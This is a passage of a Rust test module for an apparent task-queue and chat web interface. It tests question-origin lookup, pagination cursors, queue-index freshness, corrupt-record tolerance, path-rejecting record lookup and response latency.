23553 let mut q = Question::new(
23554 reference.into(),
23555 node.into(),
23556 "seat".into(),
23557 "Question".into(),
23558 String::new(),
23559 vec![],
23560 );
23561 ui.questions.put(&mut q).unwrap();
23562 questions.push((q, expected, eligible));
23563 }
23564 for (node, reference, associated, eligible) in [
23565 (crate::reconcile::NODE, previous.id.as_str(), true, false),
23566 (
23567 crate::reconcile::NODE,
23568 previous.runs[0].as_str(),
23569 false,
23570 true,
23571 ),
23572 ("implement", previous.id.as_str(), false, false),
23573 ] {
23574 let mut q = Question::new(
23575 reference.into(),
23576 node.into(),
23577 crate::reconcile::SEAT.into(),
23578 "Reconcile".into(),
23579 String::new(),
23580 vec![],
23581 );
23582 ui.questions.put(&mut q).unwrap();
23583 questions.push((q, associated, eligible));
23584 }
23585 let mut release = Question::new(
23586 "release-record".into(),
23587 crate::bump::NOTICE_NODE.into(),
23588 "release-watch".into(),
23589 "Release".into(),
23590 String::new(),
23591 vec![],
23592 );
23593 ui.questions.put(&mut release).unwrap();
23594 let watch = crate::release_watch::WatchState {
23595 question: Some(release.id.clone()),
23596 run: Some(previous.runs[0].clone()),
23597 held_task: Some(previous.id.clone()),
23598 ..Default::default()
23599 };
23600 let watch_dir = home.path().join("release-watch");
23601 std::fs::create_dir_all(&watch_dir).unwrap();
23602 let watch_path = watch_dir.join("watch.json");
23603 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23604 for batch in [
23606 Vec::new(),
23607 questions.iter().map(|(q, _, _)| q.clone()).collect(),
23608 ] {
23609 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23610 assert!(watches.is_empty());
23611 }
23612 questions.push((release.clone(), true, false));
23613
23614 let views = questions_list(State(ui.clone())).await.unwrap().0;
23615 let origins = question_origins(State(ui.clone())).await.unwrap().0;
23616 for (q, associated, eligible) in &questions {
23617 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
23618 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
23619 let expected = associated.then_some(chat.as_str());
23620 assert_eq!(
23621 view.origin_chat.as_deref(),
23622 expected,
23623 "{} {}",
23624 q.node,
23625 q.run
23626 );
23627 assert_eq!(origin.origin_chat.as_deref(), expected);
23628 assert_eq!(view.origin_chat_closed, *associated);
23629 assert_eq!(origin.origin_chat_closed, *associated);
23630 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
23631 assert_eq!(origin.can_consult_chat, *eligible);
23632 }
23633 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
23635 let link = crate::release_watch::WatchState {
23636 run,
23637 held_task,
23638 ..watch.clone()
23639 };
23640 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
23641 let (tasks, talks, watches) =
23642 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23643 assert_eq!(
23644 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23645 .unwrap()
23646 .id,
23647 chat,
23648 );
23649 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
23650 }
23651 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23652 let duplicate_path = watch_dir.join("duplicate.json");
23654 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23655 let (tasks, talks, watches) =
23656 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23657 assert!(
23658 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23659 .is_none()
23660 );
23661 std::fs::remove_file(duplicate_path).unwrap();
23662 let mut unrelated = Task::new(
23664 "other".into(),
23665 String::new(),
23666 PathBuf::from("/repo"),
23667 Source::Human,
23668 );
23669 unrelated.id = "unrelated-task".into();
23670 ui.queue.put(&mut unrelated).unwrap();
23671 let mut conflicting = watch.clone();
23672 conflicting.held_task = Some(unrelated.id);
23673 std::fs::write(
23674 watch_dir.join("conflict.json"),
23675 serde_json::to_vec(&conflicting).unwrap(),
23676 )
23677 .unwrap();
23678 let (tasks, talks, watches) =
23679 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23680 assert!(
23681 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23682 .is_none()
23683 );
23684 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
23685 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
23686 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
23687 assert!(origin.origin_chat.is_none());
23688 assert!(!origin.origin_chat_closed);
23689 }
23690 }
23691
23692 #[test]
23693 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
23694 let home = tempfile::tempdir().unwrap();
23695 let ui = delta_test_ui(home.path());
23696 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
23697 for i in 0..1000 {
23698 let mut task = Task::new(
23699 "unrelated".into(),
23700 "instruction ".repeat(256),
23701 PathBuf::from("/repo"),
23702 Source::Human,
23703 );
23704 task.id = format!("history-{i:04}");
23705 ui.queue.put(&mut task).unwrap();
23706 let id = seed_talk_at(&ui.talks, &task.id, "open");
23707 let mut talk = ui.talks.get(&id).unwrap();
23708 talk.pending = "history ".repeat(256);
23709 ui.talks.put(&mut talk).unwrap();
23710 }
23711 let mut parent = Task::new(
23712 "parent".into(),
23713 "body".into(),
23714 PathBuf::from("/repo"),
23715 Source::Agent {
23716 run: chat_id.clone(),
23717 node: crate::queue::CHAT_NODE.into(),
23718 },
23719 );
23720 parent.id = "task-parent".into();
23721 parent.runs = vec!["run-parent".into()];
23722 ui.queue.put(&mut parent).unwrap();
23723 let mut child = Task::new(
23724 "child".into(),
23725 "body".into(),
23726 PathBuf::from("/repo"),
23727 Source::Human,
23728 );
23729 child.id = "task-child".into();
23730 child.runs = vec!["run-child".into()];
23731 child.followup = Some(crate::queue::FollowUp {
23732 run: "run-parent".into(),
23733 origin_task: Some(parent.id.clone()),
23734 pr: "https://example.invalid/pr/1".into(),
23735 findings: vec![],
23736 generation: 1,
23737 });
23738 ui.queue.put(&mut child).unwrap();
23739 let mut question = Question::new(
23740 child.id.clone(),
23741 crate::conduct::NODE.into(),
23742 "seat".into(),
23743 "Continue?".into(),
23744 String::new(),
23745 vec![],
23746 );
23747 let (tasks, talks, _watches) =
23748 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23749 assert_eq!(tasks.len(), 2);
23750 assert_eq!(talks.len(), 1);
23751 assert_eq!(
23752 ui.monitor.queue_index.lock().unwrap().reparsed,
23753 0,
23754 "exact ancestry bypasses the index"
23755 );
23756 assert_eq!(
23757 crate::consult::origin_talk(&tasks, &talks, &question)
23758 .unwrap()
23759 .id,
23760 chat_id
23761 );
23762 question.run = "run-child".into();
23763 question.node = "review".into();
23764 for origin_task in [Some(parent.id.clone()), None] {
23765 child.followup.as_mut().unwrap().origin_task = origin_task;
23766 ui.queue.put(&mut child).unwrap();
23767 let (tasks, talks, _watches) =
23768 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23769 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
23770 let expected =
23771 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
23772 .unwrap();
23773 assert_eq!(actual.id, expected.id);
23774 assert!(!actual.status.open());
23775 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23776 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23777 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
23780 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23781 }
23782 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
23783 ui.queue.put(&mut child).unwrap();
23784 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
23785 let (tasks, talks, _watches) =
23786 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23787 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23788 child.origin_chat = Some(chat_id.clone());
23789 ui.queue.put(&mut child).unwrap();
23790 let (tasks, talks, _watches) =
23791 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23792 assert_eq!(
23793 crate::consult::origin_talk(&tasks, &talks, &question)
23794 .unwrap()
23795 .id,
23796 chat_id
23797 );
23798 let revision = question_record_revision(&question);
23799 question.abandon("settled elsewhere");
23800 assert_ne!(revision, question_record_revision(&question));
23801 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23802 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
23803 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
23804 let (tasks, talks, _watches) =
23805 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23806 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
23807 }
23808
23809 #[test]
23810 fn list_cursors_freeze_membership_and_expire_explicitly() {
23811 let home = tempfile::tempdir().unwrap();
23812 let ui = delta_test_ui(home.path());
23813 std::fs::create_dir_all(ui.queue.root()).unwrap();
23814 for i in 0..40 {
23815 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
23816 }
23817 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
23818 assert_eq!(first.len(), STORE_PAGE_SIZE);
23819 let cursor = cursor.unwrap();
23820 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
23821 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
23822 let (second, _) = page_ids(
23823 &ui,
23824 false,
23825 PageQuery {
23826 before: Some(cursor.clone()),
23827 },
23828 )
23829 .unwrap();
23830 assert_eq!(second[0], "record-0023");
23831 assert!(second.iter().all(|id| !first.contains(id)));
23832 assert!(
23833 page_ids(
23834 &ui,
23835 true,
23836 PageQuery {
23837 before: Some(cursor.clone())
23838 }
23839 )
23840 .is_err()
23841 );
23842 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
23843 assert_eq!(fresh[0], "record-9999");
23844 ui.monitor.list_walks.lock().unwrap().clear();
23845 assert!(
23846 page_ids(
23847 &ui,
23848 false,
23849 PageQuery {
23850 before: Some(cursor)
23851 }
23852 )
23853 .is_err()
23854 );
23855 }
23856
23857 #[tokio::test]
23858 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
23859 let home = tempfile::tempdir().unwrap();
23860 let ui = delta_test_ui(home.path());
23861 let mut task = Task::new(
23862 "task".into(),
23863 "body".into(),
23864 PathBuf::from("/repo"),
23865 Source::Human,
23866 );
23867 ui.queue.put(&mut task).unwrap();
23868 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23869 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23870 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23871 let expected = parsed + usize::from(!cfg!(unix));
23872 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23873 task.status = crate::queue::TaskStatus::Held;
23874 ui.queue.put(&mut task).unwrap();
23875 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23876 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23877 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
23878 ui.queue.put(&mut task).unwrap();
23879 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23880 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23881 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
23882 }
23883
23884 #[tokio::test]
23885 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
23886 let home = tempfile::tempdir().unwrap();
23887 let ui = delta_test_ui(home.path());
23888 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23889 let before = health(State(ui.clone())).await.unwrap().0;
23890 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
23891 let after = health(State(ui)).await.unwrap().0;
23892 assert_ne!(before.notifications_rev, after.notifications_rev);
23893 assert_eq!(after.notifications_unread, 1);
23894 }
23895
23896 #[tokio::test]
23897 async fn list_pages_bound_history_and_keep_dependency_evidence() {
23898 let home = tempfile::tempdir().unwrap();
23899 let ui = delta_test_ui(home.path());
23900 let queue = &ui.queue;
23901 let talks = &ui.talks;
23902 for i in 0..1000 {
23903 let id = format!("20261019-{i:06}-page");
23904 let mut task = Task::new(
23905 "task".into(),
23906 "instruction".repeat(100),
23907 PathBuf::from("/repo/magi"),
23908 Source::Human,
23909 );
23910 task.id = id.clone();
23911 if i == 0 {
23912 task.status = crate::queue::TaskStatus::Held;
23913 } else if i == 999 {
23914 task.status = crate::queue::TaskStatus::Blocked;
23915 task.blocked_by = vec!["20261019-000000-page".into()];
23916 }
23917 queue.put(&mut task).unwrap();
23918 seed_talk_at(talks, &id, "open");
23919 }
23920 let page = serde_json::to_value(
23921 queue_page(State(ui.clone()), Query(PageQuery::default()))
23922 .await
23923 .unwrap()
23924 .0,
23925 )
23926 .unwrap();
23927 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23928 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
23929 assert!(
23930 !page["rows"][0]["stuck_roots"]
23931 .as_array()
23932 .unwrap()
23933 .is_empty()
23934 );
23935 let cursor = page["next"].as_str().unwrap();
23936 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
23937 .as_str()
23938 .unwrap();
23939 std::fs::remove_file(queue.path_of(last_id)).unwrap();
23941 let next = serde_json::to_value(
23942 queue_page(
23943 State(ui.clone()),
23944 Query(PageQuery {
23945 before: Some(cursor.into()),
23946 }),
23947 )
23948 .await
23949 .unwrap()
23950 .0,
23951 )
23952 .unwrap();
23953 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23954 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
23955 let chats = serde_json::to_value(
23956 talks_page(State(ui.clone()), Query(PageQuery::default()))
23957 .await
23958 .unwrap()
23959 .0,
23960 )
23961 .unwrap();
23962 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23963 assert!(chats["rows"][0].get("pending").is_none());
23964 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
23965 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
23966 assert_eq!(counts["held"], 1);
23967 assert_eq!(counts["blocked"], 1);
23968 assert_eq!(counts["queued"], 997);
23969 }
23970
23971 #[test]
23972 fn queue_index_observes_external_replacement_deletion_and_corruption() {
23973 let dir = tempfile::tempdir().unwrap();
23974 let ui = delta_test_ui(dir.path());
23975 let mut task = Task::new(
23976 "task".into(),
23977 "body".into(),
23978 PathBuf::from("/repo"),
23979 Source::Human,
23980 );
23981 task.runs = vec!["run-a".into()];
23982 ui.queue.put(&mut task).unwrap();
23983 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
23984 task.runs = vec!["run-b".into()];
23985 let path = ui.queue.path_of(&task.id);
23986 let modified = path.metadata().unwrap().modified().unwrap();
23987 let replacement = path.with_extension("replacement");
23988 let bytes = serde_json::to_vec_pretty(&task).unwrap();
23989 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
23990 std::fs::write(&replacement, &bytes).unwrap();
23991 std::fs::File::options()
23992 .write(true)
23993 .open(&replacement)
23994 .unwrap()
23995 .set_times(std::fs::FileTimes::new().set_modified(modified))
23996 .unwrap();
23997 std::fs::rename(&replacement, &path).unwrap();
23998 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
23999 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24000 std::fs::write(&path, "broken").unwrap();
24001 assert!(ui.find_task_for_run("run-b").is_err());
24002 std::fs::write(&path, bytes).unwrap();
24003 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24004 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24005 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24006 }
24007
24008 #[tokio::test]
24009 async fn conversation_core_is_independent_of_unreadable_related_history() {
24010 let home = tempfile::tempdir().unwrap();
24011 let ui = delta_test_ui(home.path());
24012 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24013 std::fs::create_dir_all(ui.queue.root()).unwrap();
24014 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24015 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24016 .await
24017 .unwrap();
24018 assert_eq!(core.talk.id, id);
24019 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24020 }
24021
24022 #[tokio::test]
24023 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24024 let home = tempfile::tempdir().unwrap();
24025 let ui = delta_test_ui(home.path());
24026 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24027 let mut run = RunState::new(
24028 PathBuf::from("/repo"),
24029 "main".into(),
24030 "01234567".into(),
24031 "Useful run".into(),
24032 Config::default(),
24033 );
24034 run.save_under(home.path()).unwrap();
24035 let mut task = Task::new(
24036 "Related".into(),
24037 "body".into(),
24038 PathBuf::from("/repo"),
24039 Source::Agent {
24040 run: talk_id.clone(),
24041 node: "chat".into(),
24042 },
24043 );
24044 task.runs = vec![run.id.clone()];
24045 ui.queue.put(&mut task).unwrap();
24046 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24047 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24048 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24049 assert!(
24050 run_detail(State(ui.clone()), Path(run.id.clone()))
24051 .await
24052 .is_ok()
24053 );
24054 assert!(
24055 talk_sections(State(ui.clone()), Path(talk_id.clone()))
24056 .await
24057 .is_ok()
24058 );
24059 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24061 assert!(ui.find_task_for_run(&run.id).is_err());
24062 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24063 ui.queue.put(&mut task).unwrap();
24064 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24065 }
24066
24067 #[tokio::test]
24068 async fn conversation_sections_omit_large_task_instructions() {
24069 let home = tempfile::tempdir().unwrap();
24070 let ui = delta_test_ui(home.path());
24071 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24072 let mut task = Task::new(
24073 "filed task".into(),
24074 "large instruction ".repeat(65536),
24075 PathBuf::from("/repo"),
24076 Source::Agent {
24077 run: id.clone(),
24078 node: "chat".into(),
24079 },
24080 );
24081 ui.queue.put(&mut task).unwrap();
24082 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24083 assert_eq!(sections["tasks"][0]["id"], task.id);
24084 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24085 assert!(sections["tasks"][0].get("instruction").is_none());
24086 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
24087 }
24088
24089 #[test]
24090 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24091 let home = tempfile::tempdir().unwrap();
24092 let talks = Talks::at(home.path().join("talks"));
24093 seed_talk_at(&talks, "20261019-000001-abcd", "open");
24094 seed_talk_at(&talks, "20261019-000002-abcd", "open");
24095 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24096 assert!(resolve_talk(&talks, "../outside").is_err());
24097 assert!(resolve_talk(&talks, "abcd").is_err());
24098 assert_eq!(
24099 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24100 "20261019-000001-abcd"
24101 );
24102 }
24103
24104 include!(concat!(
24105 env!("CARGO_MANIFEST_DIR"),
24106 "/tests/web_latency/baseline.rs"
24107 ));
24108
24109 include!(concat!(
24110 env!("CARGO_MANIFEST_DIR"),
24111 "/tests/web_latency/lists.rs"
24112 ));
24113
24114 #[tokio::test]
24115 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24116 async fn web_history_latency_measurement() {
24117 use std::time::Instant;
24118 let home = tempfile::tempdir().unwrap();
24119 let ui = delta_test_ui(home.path());
24120 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24121 let mut template = ui.talks.get(&id).unwrap();
24122 template.turns = serde_json::from_value(serde_json::json!([{
24123 "who": "operator", "body": "Show the accumulated work and its current status.",
24124 "at": Timestamp::now().to_string(),
24125 }]))
24126 .unwrap();
24127 std::fs::write(
24128 ui.talks.path_of(&id),
24129 serde_json::to_vec(&template).unwrap(),
24130 )
24131 .unwrap();
24132 let count = std::env::var("MAGI_BENCH_RECORDS")
24133 .ok()
24134 .and_then(|s| s.parse::<usize>().ok())
24135 .unwrap_or(1000);
24136 for i in 0..count {
24137 template.id = format!("20261019-{i:06}-history");
24138 template.pending = "history ".repeat(2048);
24139 std::fs::write(
24140 ui.talks.path_of(&template.id),
24141 serde_json::to_vec(&template).unwrap(),
24142 )
24143 .unwrap();
24144 let mut task = Task::new(
24145 "old task".into(),
24146 "instruction ".repeat(2048),
24147 PathBuf::from("/repo"),
24148 Source::Human,
24149 );
24150 task.id = format!("20261019-{i:06}-task");
24151 ui.queue.put(&mut task).unwrap();
24152 }
24153 for baseline in [true, false] {
24154 for clients in [1, 4] {
24155 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24156 let mut samples = Vec::new();
24157 for _ in 0..12 {
24158 let mut jobs = Vec::new();
24159 for _ in 0..clients {
24160 let ui = ui.clone();
24161 let id = id.clone();
24162 jobs.push(tokio::spawn(async move {
24163 let start = Instant::now();
24164 if baseline {
24165 let response =
24166 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24167 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24168 return (
24169 elapsed,
24170 elapsed,
24171 serde_json::to_vec(&response).unwrap().len(),
24172 );
24173 }
24174 let core = talk_core(State(ui.clone()), Path(id.clone()));
24175 let secondary = talk_sections(State(ui), Path(id));
24176 let (first, total) = tokio::join!(
24177 async {
24178 let value = core.await.unwrap().0;
24179 (
24180 start.elapsed().as_secs_f64() * 1000.0,
24181 serde_json::to_vec(&value).unwrap().len(),
24182 )
24183 },
24184 async {
24185 let value = secondary.await.unwrap().0;
24186 (
24187 start.elapsed().as_secs_f64() * 1000.0,
24188 serde_json::to_vec(&value).unwrap().len(),
24189 )
24190 }
24191 );
24192 (first.0, first.0.max(total.0), first.1 + total.1)
24193 }));
24194 }
24195 for job in jobs {
24196 samples.push(job.await.unwrap());
24197 }
24198 }
24199 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24200 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24201 first.sort_by(f64::total_cmp);
24202 total.sort_by(f64::total_cmp);
24203 let n = first.len();
24204 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24205 println!(
24206 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24207 first[n / 2],
24208 first[(n * 95 / 100).min(n - 1)],
24209 total[n / 2],
24210 total[(n * 95 / 100).min(n - 1)],
24211 samples[0].2
24212 );
24213 }
24214 }
24215 }
24216
24217 #[test]
24218 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24219 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24221 assert!(APP_JS.contains("function nextRunRequest(id)"));
24222 assert!(APP_JS.contains("function runShell(id, summary)"));
24223 assert!(APP_JS.contains("function nextTaskRequest(id)"));
24224 assert!(APP_JS.contains("function taskShell(id, summary)"));
24225 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24226 }
24227}